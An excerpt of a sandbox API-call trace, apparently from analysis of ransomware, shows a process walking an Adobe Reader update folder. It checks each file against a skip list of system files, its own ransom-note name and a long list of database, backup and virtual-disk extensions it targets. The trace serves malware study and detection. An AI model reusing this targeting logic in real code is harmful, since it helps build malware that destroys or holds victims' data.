	[0040.132] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e186d00, ftCreationTime.dwHighDateTime=0x1cfb543, ftLastAccessTime.dwLowDateTime=0x7e186d00, ftLastAccessTime.dwHighDateTime=0x1cfb543, ftLastWriteTime.dwLowDateTime=0x7e186d00, ftLastWriteTime.dwHighDateTime=0x1cfb543, nFileSizeHigh=0x0, nFileSizeLow=0x3d800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AdbeRdrSecUpd10111.msp", cAlternateFileName="ADBERD~2.MSP")) returned 1
	[0040.132] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.132] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="Apollon865.txt.exe") returned -1
	[0040.132] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2=".") returned 1
	[0040.132] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="..") returned 1
	[0040.132] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="windows") returned -1
	[0040.132] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="bootmgr") returned -1
	[0040.132] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="temp") returned -1
	[0040.132] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="pagefile.sys") returned -1
	[0040.132] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="boot") returned -1
	[0040.132] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="ids.txt") returned -1
	[0040.132] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="ntuser.dat") returned -1
	[0040.132] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="perflogs") returned -1
	[0040.132] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2="MSBuild") returned -1
	[0040.132] lstrlenW (lpString="AdbeRdrSecUpd10111.msp") returned 22
	[0040.132] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\*") returned 44
	[0040.132] lstrcpyW (in: lpString1=0x2d3e5a6, lpString2="AdbeRdrSecUpd10111.msp" | out: lpString1="AdbeRdrSecUpd10111.msp") returned="AdbeRdrSecUpd10111.msp"
	[0040.132] lstrlenW (lpString="AdbeRdrSecUpd10111.msp") returned 22
	[0040.132] lstrlenW (lpString="Apollon865") returned 10
	[0040.132] lstrcmpiW (lpString1="d10111.msp", lpString2="Apollon865") returned 1
	[0040.132] lstrlenW (lpString=".dll") returned 4
	[0040.132] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2=".dll") returned 1
	[0040.132] lstrlenW (lpString=".lnk") returned 4
	[0040.132] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2=".lnk") returned 1
	[0040.132] lstrlenW (lpString=".ini") returned 4
	[0040.132] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2=".ini") returned 1
	[0040.133] lstrlenW (lpString=".sys") returned 4
	[0040.133] lstrcmpiW (lpString1="AdbeRdrSecUpd10111.msp", lpString2=".sys") returned 1
	[0040.133] lstrlenW (lpString="AdbeRdrSecUpd10111.msp") returned 22
	[0040.133] lstrlenW (lpString="bak") returned 3
	[0040.133] lstrcmpiW (lpString1="msp", lpString2="bak") returned 1
	[0040.133] lstrlenW (lpString="ba_") returned 3
	[0040.133] lstrcmpiW (lpString1="msp", lpString2="ba_") returned 1
	[0040.133] lstrlenW (lpString="dbb") returned 3
	[0040.133] lstrcmpiW (lpString1="msp", lpString2="dbb") returned 1
	[0040.133] lstrlenW (lpString="vmdk") returned 4
	[0040.133] lstrcmpiW (lpString1=".msp", lpString2="vmdk") returned -1
	[0040.133] lstrlenW (lpString="rar") returned 3
	[0040.133] lstrcmpiW (lpString1="msp", lpString2="rar") returned -1
	[0040.133] lstrlenW (lpString="zip") returned 3
	[0040.133] lstrcmpiW (lpString1="msp", lpString2="zip") returned -1
	[0040.133] lstrlenW (lpString="tgz") returned 3
	[0040.133] lstrcmpiW (lpString1="msp", lpString2="tgz") returned -1
	[0040.133] lstrlenW (lpString="vbox") returned 4
	[0040.133] lstrcmpiW (lpString1=".msp", lpString2="vbox") returned -1
	[0040.133] lstrlenW (lpString="vdi") returned 3
	[0040.133] lstrcmpiW (lpString1="msp", lpString2="vdi") returned -1
	[0040.133] lstrlenW (lpString="vhd") returned 3
	[0040.133] lstrcmpiW (lpString1="msp", lpString2="vhd") returned -1
	[0040.133] lstrlenW (lpString="vhdx") returned 4
	[0040.133] lstrcmpiW (lpString1=".msp", lpString2="vhdx") returned -1
	[0040.133] lstrlenW (lpString="avhd") returned 4
	[0040.133] lstrcmpiW (lpString1=".msp", lpString2="avhd") returned -1
	[0040.133] lstrlenW (lpString="db") returned 2
	[0040.133] lstrcmpiW (lpString1="sp", lpString2="db") returned 1
	[0040.133] lstrlenW (lpString="db2") returned 3
	[0040.133] lstrcmpiW (lpString1="msp", lpString2="db2") returned 1
	[0040.133] lstrlenW (lpString="db3") returned 3
	[0040.133] lstrcmpiW (lpString1="msp", lpString2="db3") returned 1
	[0040.133] lstrlenW (lpString="dbf") returned 3
	[0040.133] lstrcmpiW (lpString1="msp", lpString2="dbf") returned 1
	[0040.133] lstrlenW (lpString="mdf") returned 3
	[0040.133] lstrcmpiW (lpString1="msp", lpString2="mdf") returned 1
	[0040.133] lstrlenW (lpString="mdb") returned 3
	[0040.134] lstrcmpiW (lpString1="msp", lpString2="mdb") returned 1
	[0040.134] lstrlenW (lpString="sql") returned 3
	[0040.134] lstrcmpiW (lpString1="msp", lpString2="sql") returned -1
	[0040.134] lstrlenW (lpString="sqlite") returned 6
	[0040.134] lstrcmpiW (lpString1="11.msp", lpString2="sqlite") returned -1
	[0040.134] lstrlenW (lpString="sqlite3") returned 7
	[0040.134] lstrcmpiW (lpString1="111.msp", lpString2="sqlite3") returned -1
	[0040.134] lstrlenW (lpString="sqlitedb") returned 8
	[0040.134] lstrcmpiW (lpString1="0111.msp", lpString2="sqlitedb") returned -1
	[0040.134] lstrlenW (lpString="xml") returned 3
	[0040.134] lstrcmpiW (lpString1="msp", lpString2="xml") returned -1
	[0040.134] lstrlenW (lpString="$er") returned 3
	[0040.134] lstrcmpiW (lpString1="msp", lpString2="$er") returned 1
	[0040.134] lstrlenW (lpString="4dd") returned 3
	[0040.134] lstrcmpiW (lpString1="msp", lpString2="4dd") returned 1
	[0040.134] lstrlenW (lpString="4dl") returned 3
	[0040.134] lstrcmpiW (lpString1="msp", lpString2="4dl") returned 1
	[0040.134] lstrlenW (lpString="^^^") returned 3
	[0040.134] lstrcmpiW (lpString1="msp", lpString2="^^^") returned 1
	[0040.134] lstrlenW (lpString="abs") returned 3
	[0040.134] lstrcmpiW (lpString1="msp", lpString2="abs") returned 1
	[0040.134] lstrlenW (lpString="abx") returned 3
	[0040.134] lstrcmpiW (lpString1="msp", lpString2="abx") returned 1
	[0040.134] lstrlenW (lpString="accdb") returned 5
	[0040.134] lstrcmpiW (lpString1="1.msp", lpString2="accdb") returned -1
	[0040.134] lstrlenW (lpString="accdc") returned 5
	[0040.134] lstrcmpiW (lpString1="1.msp", lpString2="accdc") returned -1
	[0040.134] lstrlenW (lpString="accde") returned 5
	[0040.134] lstrcmpiW (lpString1="1.msp", lpString2="accde") returned -1
	[0040.134] lstrlenW (lpString="accdr") returned 5
	[0040.134] lstrcmpiW (lpString1="1.msp", lpString2="accdr") returned -1
	[0040.134] lstrlenW (lpString="accdt") returned 5
	[0040.134] lstrcmpiW (lpString1="1.msp", lpString2="accdt") returned -1
	[0040.134] lstrlenW (lpString="accdw") returned 5
	[0040.134] lstrcmpiW (lpString1="1.msp", lpString2="accdw") returned -1
	[0040.134] lstrlenW (lpString="accft") returned 5
	[0040.134] lstrcmpiW (lpString1="1.msp", lpString2="accft") returned -1
	[0040.134] lstrlenW (lpString="adb") returned 3
	[0040.134] lstrcmpiW (lpString1="msp", lpString2="adb") returned 1
	[0040.135] lstrlenW (lpString="adb") returned 3
	[0040.135] lstrcmpiW (lpString1="msp", lpString2="adb") returned 1
	[0040.135] lstrlenW (lpString="ade") returned 3
	[0040.135] lstrcmpiW (lpString1="msp", lpString2="ade") returned 1
	[0040.135] lstrlenW (lpString="adf") returned 3
	[0040.135] lstrcmpiW (lpString1="msp", lpString2="adf") returned 1
	[0040.135] lstrlenW (lpString="adn") returned 3
	[0040.135] lstrcmpiW (lpString1="msp", lpString2="adn") returned 1
	[0040.135] lstrlenW (lpString="adp") returned 3
	[0040.135] lstrcmpiW (lpString1="msp", lpString2="adp") returned 1
	[0040.135] lstrlenW (lpString="alf") returned 3
	[0040.135] lstrcmpiW (lpString1="msp", lpString2="alf") returned 1
	[0040.135] lstrlenW (lpString="ask") returned 3
	[0040.135] lstrcmpiW (lpString1="msp", lpString2="ask") returned 1
	[0040.135] lstrlenW (lpString="btr") returned 3
	[0040.135] lstrcmpiW (lpString1="msp", lpString2="btr") returned 1
	[0040.135] lstrlenW (lpString="cat") returned 3
	[0040.135] lstrcmpiW (lpString1="msp", lpString2="cat") returned 1
	[0040.135] lstrlenW (lpString="cdb") returned 3
	[0040.135] lstrcmpiW (lpString1="msp", lpString2="cdb") returned 1
	[0040.135] lstrlenW (lpString="ckp") returned 3
	[0040.135] lstrcmpiW (lpString1="msp", lpString2="ckp") returned 1
	[0040.135] lstrlenW (lpString="cma") returned 3
	[0040.135] lstrcmpiW (lpString1="msp", lpString2="cma") returned 1
	[0040.135] lstrlenW (lpString="cpd") returned 3
	[0040.135] lstrcmpiW (lpString1="msp", lpString2="cpd") returned 1
	[0040.135] lstrlenW (lpString="dacpac") returned 6
	[0040.135] lstrcmpiW (lpString1="11.msp", lpString2="dacpac") returned -1
	[0040.135] lstrlenW (lpString="dad") returned 3
	[0040.135] lstrcmpiW (lpString1="msp", lpString2="dad") returned 1
	[0040.135] lstrlenW (lpString="dadiagrams") returned 10
	[0040.135] lstrcmpiW (lpString1="d10111.msp", lpString2="dadiagrams") returned -1
	[0040.135] lstrlenW (lpString="daschema") returned 8
	[0040.135] lstrcmpiW (lpString1="0111.msp", lpString2="daschema") returned -1
	[0040.135] lstrlenW (lpString="db-journal") returned 10
	[0040.135] lstrcmpiW (lpString1="d10111.msp", lpString2="db-journal") returned -1
	[0040.135] lstrlenW (lpString="db-shm") returned 6
	[0040.135] lstrcmpiW (lpString1="11.msp", lpString2="db-shm") returned -1
	[0040.136] lstrlenW (lpString="db-wal") returned 6
	[0040.136] lstrcmpiW (lpString1="11.msp", lpString2="db-wal") returned -1
	[0040.136] lstrlenW (lpString="dbc") returned 3
	[0040.136] lstrcmpiW (lpString1="msp", lpString2="dbc") returned 1
	[0040.136] lstrlenW (lpString="dbs") returned 3
	[0040.136] lstrcmpiW (lpString1="msp", lpString2="dbs") returned 1
	[0040.136] lstrlenW (lpString="dbt") returned 3
	[0040.136] lstrcmpiW (lpString1="msp", lpString2="dbt") returned 1
	[0040.136] lstrlenW (lpString="dbv") returned 3
	[0040.136] lstrcmpiW (lpString1="msp", lpString2="dbv") returned 1
	[0040.136] lstrlenW (lpString="dbx") returned 3
	[0040.136] lstrcmpiW (lpString1="msp", lpString2="dbx") returned 1
	[0040.136] lstrlenW (lpString="dcb") returned 3
	[0040.136] lstrcmpiW (lpString1="msp", lpString2="dcb") returned 1
	[0040.136] lstrlenW (lpString="dct") returned 3
	[0040.136] lstrcmpiW (lpString1="msp", lpString2="dct") returned 1
	[0040.136] lstrlenW (lpString="dcx") returned 3
	[0040.136] lstrcmpiW (lpString1="msp", lpString2="dcx") returned 1
	[0040.136] lstrlenW (lpString="ddl") returned 3
	[0040.136] lstrcmpiW (lpString1="msp", lpString2="ddl") returned 1
	[0040.136] lstrlenW (lpString="dlis") returned 4
	[0040.136] lstrcmpiW (lpString1=".msp", lpString2="dlis") returned -1
	[0040.136] lstrlenW (lpString="dp1") returned 3
	[0040.136] lstrcmpiW (lpString1="msp", lpString2="dp1") returned 1
	[0040.136] lstrlenW (lpString="dqy") returned 3
	[0040.136] lstrcmpiW (lpString1="msp", lpString2="dqy") returned 1
	[0040.136] lstrlenW (lpString="dsk") returned 3
	[0040.136] lstrcmpiW (lpString1="msp", lpString2="dsk") returned 1
	[0040.136] lstrlenW (lpString="dsn") returned 3
	[0040.136] lstrcmpiW (lpString1="msp", lpString2="dsn") returned 1
	[0040.136] lstrlenW (lpString="dtsx") returned 4
	[0040.136] lstrcmpiW (lpString1=".msp", lpString2="dtsx") returned -1
	[0040.136] lstrlenW (lpString="dxl") returned 3
	[0040.136] lstrcmpiW (lpString1="msp", lpString2="dxl") returned 1
	[0040.136] lstrlenW (lpString="eco") returned 3
	[0040.136] lstrcmpiW (lpString1="msp", lpString2="eco") returned 1
	[0040.136] lstrlenW (lpString="ecx") returned 3
	[0040.136] lstrcmpiW (lpString1="msp", lpString2="ecx") returned 1
	[0040.136] lstrlenW (lpString="edb") returned 3
	[0040.137] lstrcmpiW (lpString1="msp", lpString2="edb") returned 1
	[0040.137] lstrlenW (lpString="epim") returned 4
	[0040.137] lstrcmpiW (lpString1=".msp", lpString2="epim") returned -1
	[0040.137] lstrlenW (lpString="fcd") returned 3
	[0040.137] lstrcmpiW (lpString1="msp", lpString2="fcd") returned 1
	[0040.137] lstrlenW (lpString="fdb") returned 3
	[0040.137] lstrcmpiW (lpString1="msp", lpString2="fdb") returned 1
	[0040.137] lstrlenW (lpString="fic") returned 3
	[0040.137] lstrcmpiW (lpString1="msp", lpString2="fic") returned 1
	[0040.137] lstrlenW (lpString="flexolibrary") returned 12
	[0040.137] lstrcmpiW (lpString1="Upd10111.msp", lpString2="flexolibrary") returned 1
	[0040.137] lstrlenW (lpString="fm5") returned 3
	[0040.137] lstrcmpiW (lpString1="msp", lpString2="fm5") returned 1
	[0040.137] lstrlenW (lpString="fmp") returned 3
	[0040.137] lstrcmpiW (lpString1="msp", lpString2="fmp") returned 1
	[0040.137] lstrlenW (lpString="fmp12") returned 5
	[0040.137] lstrcmpiW (lpString1="1.msp", lpString2="fmp12") returned -1
	[0040.137] lstrlenW (lpString="fmpsl") returned 5
	[0040.137] lstrcmpiW (lpString1="1.msp", lpString2="fmpsl") returned -1
	[0040.137] lstrlenW (lpString="fol") returned 3
	[0040.137] lstrcmpiW (lpString1="msp", lpString2="fol") returned 1
	[0040.137] lstrlenW (lpString="fp3") returned 3
	[0040.137] lstrcmpiW (lpString1="msp", lpString2="fp3") returned 1
	[0040.137] lstrlenW (lpString="fp4") returned 3
	[0040.137] lstrcmpiW (lpString1="msp", lpString2="fp4") returned 1
	[0040.137] lstrlenW (lpString="fp5") returned 3
	[0040.137] lstrcmpiW (lpString1="msp", lpString2="fp5") returned 1
	[0040.137] lstrlenW (lpString="fp7") returned 3
	[0040.137] lstrcmpiW (lpString1="msp", lpString2="fp7") returned 1
	[0040.137] lstrlenW (lpString="fpt") returned 3
	[0040.137] lstrcmpiW (lpString1="msp", lpString2="fpt") returned 1
	[0040.137] lstrlenW (lpString="frm") returned 3
	[0040.137] lstrcmpiW (lpString1="msp", lpString2="frm") returned 1
	[0040.137] lstrlenW (lpString="gdb") returned 3
	[0040.137] lstrcmpiW (lpString1="msp", lpString2="gdb") returned 1
	[0040.137] lstrlenW (lpString="gdb") returned 3
	[0040.137] lstrcmpiW (lpString1="msp", lpString2="gdb") returned 1
	[0040.137] lstrlenW (lpString="grdb") returned 4
	[0040.138] lstrcmpiW (lpString1=".msp", lpString2="grdb") returned -1
	[0040.138] lstrlenW (lpString="gwi") returned 3
	[0040.138] lstrcmpiW (lpString1="msp", lpString2="gwi") returned 1
	[0040.138] lstrlenW (lpString="hdb") returned 3
	[0040.138] lstrcmpiW (lpString1="msp", lpString2="hdb") returned 1
	[0040.138] lstrlenW (lpString="his") returned 3
	[0040.138] lstrcmpiW (lpString1="msp", lpString2="his") returned 1
	[0040.138] lstrlenW (lpString="ib") returned 2
	[0040.138] lstrcmpiW (lpString1="sp", lpString2="ib") returned 1
	[0040.138] lstrlenW (lpString="idb") returned 3
	[0040.138] lstrcmpiW (lpString1="msp", lpString2="idb") returned 1
	[0040.138] lstrlenW (lpString="ihx") returned 3
	[0040.138] lstrcmpiW (lpString1="msp", lpString2="ihx") returned 1
	[0040.138] lstrlenW (lpString="itdb") returned 4
	[0040.138] lstrcmpiW (lpString1=".msp", lpString2="itdb") returned -1
	[0040.138] lstrlenW (lpString="itw") returned 3
	[0040.138] lstrcmpiW (lpString1="msp", lpString2="itw") returned 1
	[0040.138] lstrlenW (lpString="jet") returned 3
	[0040.138] lstrcmpiW (lpString1="msp", lpString2="jet") returned 1
	[0040.138] lstrlenW (lpString="jtx") returned 3
	[0040.138] lstrcmpiW (lpString1="msp", lpString2="jtx") returned 1
	[0040.138] lstrlenW (lpString="kdb") returned 3
	[0040.138] lstrcmpiW (lpString1="msp", lpString2="kdb") returned 1
	[0040.138] lstrlenW (lpString="kexi") returned 4
	[0040.138] lstrcmpiW (lpString1=".msp", lpString2="kexi") returned -1
	[0040.138] lstrlenW (lpString="kexic") returned 5
	[0040.138] lstrcmpiW (lpString1="1.msp", lpString2="kexic") returned -1
	[0040.138] lstrlenW (lpString="kexis") returned 5
	[0040.138] lstrcmpiW (lpString1="1.msp", lpString2="kexis") returned -1
	[0040.138] lstrlenW (lpString="lgc") returned 3
	[0040.138] lstrcmpiW (lpString1="msp", lpString2="lgc") returned 1
	[0040.138] lstrlenW (lpString="lwx") returned 3
	[0040.138] lstrcmpiW (lpString1="msp", lpString2="lwx") returned 1
	[0040.138] lstrlenW (lpString="maf") returned 3
	[0040.138] lstrcmpiW (lpString1="msp", lpString2="maf") returned 1
	[0040.138] lstrlenW (lpString="maq") returned 3
	[0040.138] lstrcmpiW (lpString1="msp", lpString2="maq") returned 1
	[0040.138] lstrlenW (lpString="mar") returned 3
	[0040.138] lstrcmpiW (lpString1="msp", lpString2="mar") returned 1
	[0040.139] lstrlenW (lpString="marshal") returned 7
	[0040.139] lstrcmpiW (lpString1="111.msp", lpString2="marshal") returned -1
	[0040.139] lstrlenW (lpString="mas") returned 3
	[0040.139] lstrcmpiW (lpString1="msp", lpString2="mas") returned 1
	[0040.139] lstrlenW (lpString="mav") returned 3
	[0040.139] lstrcmpiW (lpString1="msp", lpString2="mav") returned 1
	[0040.139] lstrlenW (lpString="maw") returned 3
	[0040.139] lstrcmpiW (lpString1="msp", lpString2="maw") returned 1
	[0040.139] lstrlenW (lpString="mdbhtml") returned 7
	[0040.139] lstrcmpiW (lpString1="111.msp", lpString2="mdbhtml") returned -1
	[0040.139] lstrlenW (lpString="mdn") returned 3
	[0040.139] lstrcmpiW (lpString1="msp", lpString2="mdn") returned 1
	[0040.139] lstrlenW (lpString="mdt") returned 3
	[0040.139] lstrcmpiW (lpString1="msp", lpString2="mdt") returned 1
	[0040.139] lstrlenW (lpString="mfd") returned 3
	[0040.139] lstrcmpiW (lpString1="msp", lpString2="mfd") returned 1
	[0040.139] lstrlenW (lpString="mpd") returned 3
	[0040.139] lstrcmpiW (lpString1="msp", lpString2="mpd") returned 1
	[0040.139] lstrlenW (lpString="mrg") returned 3
	[0040.139] lstrcmpiW (lpString1="msp", lpString2="mrg") returned 1
	[0040.139] lstrlenW (lpString="mud") returned 3
	[0040.139] lstrcmpiW (lpString1="msp", lpString2="mud") returned -1
	[0040.139] lstrlenW (lpString="mwb") returned 3
	[0040.139] lstrcmpiW (lpString1="msp", lpString2="mwb") returned -1
	[0040.139] lstrlenW (lpString="myd") returned 3
	[0040.139] lstrcmpiW (lpString1="msp", lpString2="myd") returned -1
	[0040.139] lstrlenW (lpString="ndf") returned 3
	[0040.139] lstrcmpiW (lpString1="msp", lpString2="ndf") returned -1
	[0040.139] lstrlenW (lpString="nnt") returned 3
	[0040.139] lstrcmpiW (lpString1="msp", lpString2="nnt") returned -1
	[0040.139] lstrlenW (lpString="nrmlib") returned 6
	[0040.139] lstrcmpiW (lpString1="11.msp", lpString2="nrmlib") returned -1
	[0040.139] lstrlenW (lpString="ns2") returned 3
	[0040.139] lstrcmpiW (lpString1="msp", lpString2="ns2") returned -1
	[0040.139] lstrlenW (lpString="ns3") returned 3
	[0040.139] lstrcmpiW (lpString1="msp", lpString2="ns3") returned -1
	[0040.139] lstrlenW (lpString="ns4") returned 3
	[0040.140] lstrcmpiW (lpString1="msp", lpString2="ns4") returned -1
	[0040.140] lstrlenW (lpString="nsf") returned 3
	[0040.140] lstrcmpiW (lpString1="msp", lpString2="nsf") returned -1
	[0040.140] lstrlenW (lpString="nv") returned 2
	[0040.140] lstrcmpiW (lpString1="sp", lpString2="nv") returned 1
	[0040.140] lstrlenW (lpString="nv2") returned 3
	[0040.140] lstrcmpiW (lpString1="msp", lpString2="nv2") returned -1
	[0040.140] lstrlenW (lpString="nwdb") returned 4
	[0040.140] lstrcmpiW (lpString1=".msp", lpString2="nwdb") returned -1
	[0040.140] lstrlenW (lpString="nyf") returned 3
	[0040.140] lstrcmpiW (lpString1="msp", lpString2="nyf") returned -1
	[0040.140] lstrlenW (lpString="odb") returned 3
	[0040.140] lstrcmpiW (lpString1="msp", lpString2="odb") returned -1
	[0040.140] lstrlenW (lpString="odb") returned 3
	[0040.140] lstrcmpiW (lpString1="msp", lpString2="odb") returned -1
	[0040.140] lstrlenW (lpString="oqy") returned 3
	[0040.140] lstrcmpiW (lpString1="msp", lpString2="oqy") returned -1
	[0040.140] lstrlenW (lpString="ora") returned 3
	[0040.140] lstrcmpiW (lpString1="msp", lpString2="ora") returned -1
	[0040.140] lstrlenW (lpString="orx") returned 3
	[0040.140] lstrcmpiW (lpString1="msp", lpString2="orx") returned -1
	[0040.140] lstrlenW (lpString="owc") returned 3
	[0040.140] lstrcmpiW (lpString1="msp", lpString2="owc") returned -1
	[0040.140] lstrlenW (lpString="p96") returned 3
	[0040.140] lstrcmpiW (lpString1="msp", lpString2="p96") returned -1
	[0040.140] lstrlenW (lpString="p97") returned 3
	[0040.140] lstrcmpiW (lpString1="msp", lpString2="p97") returned -1
	[0040.140] lstrlenW (lpString="pan") returned 3
	[0040.140] lstrcmpiW (lpString1="msp", lpString2="pan") returned -1
	[0040.140] lstrlenW (lpString="pdb") returned 3
	[0040.140] lstrcmpiW (lpString1="msp", lpString2="pdb") returned -1
	[0040.140] lstrlenW (lpString="pdm") returned 3
	[0040.140] lstrcmpiW (lpString1="msp", lpString2="pdm") returned -1
	[0040.140] lstrlenW (lpString="pnz") returned 3
	[0040.140] lstrcmpiW (lpString1="msp", lpString2="pnz") returned -1
	[0040.140] lstrlenW (lpString="qry") returned 3
	[0040.140] lstrcmpiW (lpString1="msp", lpString2="qry") returned -1
	[0040.140] lstrlenW (lpString="qvd") returned 3
	[0040.140] lstrcmpiW (lpString1="msp", lpString2="qvd") returned -1
	[0040.141] lstrlenW (lpString="rbf") returned 3
	[0040.141] lstrcmpiW (lpString1="msp", lpString2="rbf") returned -1
	[0040.141] lstrlenW (lpString="rctd") returned 4
	[0040.141] lstrcmpiW (lpString1=".msp", lpString2="rctd") returned -1
	[0040.141] lstrlenW (lpString="rod") returned 3
	[0040.141] lstrcmpiW (lpString1="msp", lpString2="rod") returned -1
	[0040.141] lstrlenW (lpString="rodx") returned 4
	[0040.141] lstrcmpiW (lpString1=".msp", lpString2="rodx") returned -1
	[0040.141] lstrlenW (lpString="rpd") returned 3
	[0040.141] lstrcmpiW (lpString1="msp", lpString2="rpd") returned -1
	[0040.141] lstrlenW (lpString="rsd") returned 3
	[0040.141] lstrcmpiW (lpString1="msp", lpString2="rsd") returned -1
	[0040.141] lstrlenW (lpString="sas7bdat") returned 8
	[0040.141] lstrcmpiW (lpString1="0111.msp", lpString2="sas7bdat") returned -1
	[0040.141] lstrlenW (lpString="sbf") returned 3
	[0040.141] lstrcmpiW (lpString1="msp", lpString2="sbf") returned -1
	[0040.141] lstrlenW (lpString="scx") returned 3
	[0040.141] lstrcmpiW (lpString1="msp", lpString2="scx") returned -1
	[0040.141] lstrlenW (lpString="sdb") returned 3
	[0040.141] lstrcmpiW (lpString1="msp", lpString2="sdb") returned -1
	[0040.141] lstrlenW (lpString="sdc") returned 3
	[0040.141] lstrcmpiW (lpString1="msp", lpString2="sdc") returned -1
	[0040.141] lstrlenW (lpString="sdf") returned 3
	[0040.141] lstrcmpiW (lpString1="msp", lpString2="sdf") returned -1
	[0040.141] lstrlenW (lpString="sis") returned 3
	[0040.141] lstrcmpiW (lpString1="msp", lpString2="sis") returned -1
	[0040.141] lstrlenW (lpString="spq") returned 3
	[0040.141] lstrcmpiW (lpString1="msp", lpString2="spq") returned -1
	[0040.141] lstrlenW (lpString="te") returned 2
	[0040.141] lstrcmpiW (lpString1="sp", lpString2="te") returned -1
	[0040.141] lstrlenW (lpString="teacher") returned 7
	[0040.141] lstrcmpiW (lpString1="111.msp", lpString2="teacher") returned -1
	[0040.141] lstrlenW (lpString="tmd") returned 3
	[0040.141] lstrcmpiW (lpString1="msp", lpString2="tmd") returned -1
	[0040.141] lstrlenW (lpString="tps") returned 3
	[0040.141] lstrcmpiW (lpString1="msp", lpString2="tps") returned -1
	[0040.141] lstrlenW (lpString="trc") returned 3
	[0040.142] lstrcmpiW (lpString1="msp", lpString2="trc") returned -1
	[0040.142] lstrlenW (lpString="trc") returned 3
	[0040.142] lstrcmpiW (lpString1="msp", lpString2="trc") returned -1
	[0040.142] lstrlenW (lpString="trm") returned 3
	[0040.142] lstrcmpiW (lpString1="msp", lpString2="trm") returned -1
	[0040.142] lstrlenW (lpString="udb") returned 3
	[0040.142] lstrcmpiW (lpString1="msp", lpString2="udb") returned -1
	[0040.142] lstrlenW (lpString="udl") returned 3
	[0040.142] lstrcmpiW (lpString1="msp", lpString2="udl") returned -1
	[0040.142] lstrlenW (lpString="usr") returned 3
	[0040.142] lstrcmpiW (lpString1="msp", lpString2="usr") returned -1
	[0040.142] lstrlenW (lpString="v12") returned 3
	[0040.142] lstrcmpiW (lpString1="msp", lpString2="v12") returned -1
	[0040.142] lstrlenW (lpString="vis") returned 3
	[0040.142] lstrcmpiW (lpString1="msp", lpString2="vis") returned -1
	[0040.142] lstrlenW (lpString="vpd") returned 3
	[0040.142] lstrcmpiW (lpString1="msp", lpString2="vpd") returned -1
	[0040.142] lstrlenW (lpString="vvv") returned 3
	[0040.142] lstrcmpiW (lpString1="msp", lpString2="vvv") returned -1
	[0040.142] lstrlenW (lpString="wdb") returned 3
	[0040.142] lstrcmpiW (lpString1="msp", lpString2="wdb") returned -1
	[0040.142] lstrlenW (lpString="wmdb") returned 4
	[0040.142] lstrcmpiW (lpString1=".msp", lpString2="wmdb") returned -1
	[0040.142] lstrlenW (lpString="wrk") returned 3
	[0040.142] lstrcmpiW (lpString1="msp", lpString2="wrk") returned -1
	[0040.142] lstrlenW (lpString="xdb") returned 3
	[0040.142] lstrcmpiW (lpString1="msp", lpString2="xdb") returned -1
	[0040.142] lstrlenW (lpString="xld") returned 3
	[0040.142] lstrcmpiW (lpString1="msp", lpString2="xld") returned -1
	[0040.142] lstrlenW (lpString="xmlff") returned 5
	[0040.142] lstrcmpiW (lpString1="1.msp", lpString2="xmlff") returned -1
	[0040.142] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4450880, ftCreationTime.dwHighDateTime=0x1cf6c45, ftLastAccessTime.dwLowDateTime=0xb4450880, ftLastAccessTime.dwHighDateTime=0x1cf6c45, ftLastWriteTime.dwLowDateTime=0xb4450880, ftLastWriteTime.dwHighDateTime=0x1cf6c45, nFileSizeHigh=0x0, nFileSizeLow=0x10e3000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AdbeRdrUpd10110_MUI.msp", cAlternateFileName="ADBERD~1.MSP")) returned 1
	[0040.142] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0040.142] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="Apollon865.txt.exe") returned -1
	[0040.142] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2=".") returned 1
	[0040.142] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="..") returned 1
	[0040.142] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="windows") returned -1
	[0040.143] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="bootmgr") returned -1
	[0040.143] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="temp") returned -1
	[0040.143] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="pagefile.sys") returned -1
	[0040.143] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="boot") returned -1
	[0040.143] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="ids.txt") returned -1
	[0040.143] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="ntuser.dat") returned -1
	[0040.143] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="perflogs") returned -1
	[0040.143] lstrcmpiW (lpString1="AdbeRdrUpd10110_MUI.msp", lpString2="MSBuild") returned -1
	[0040.143] lstrlenW (lpString="AdbeRdrUpd10110_MUI.msp") returned 23
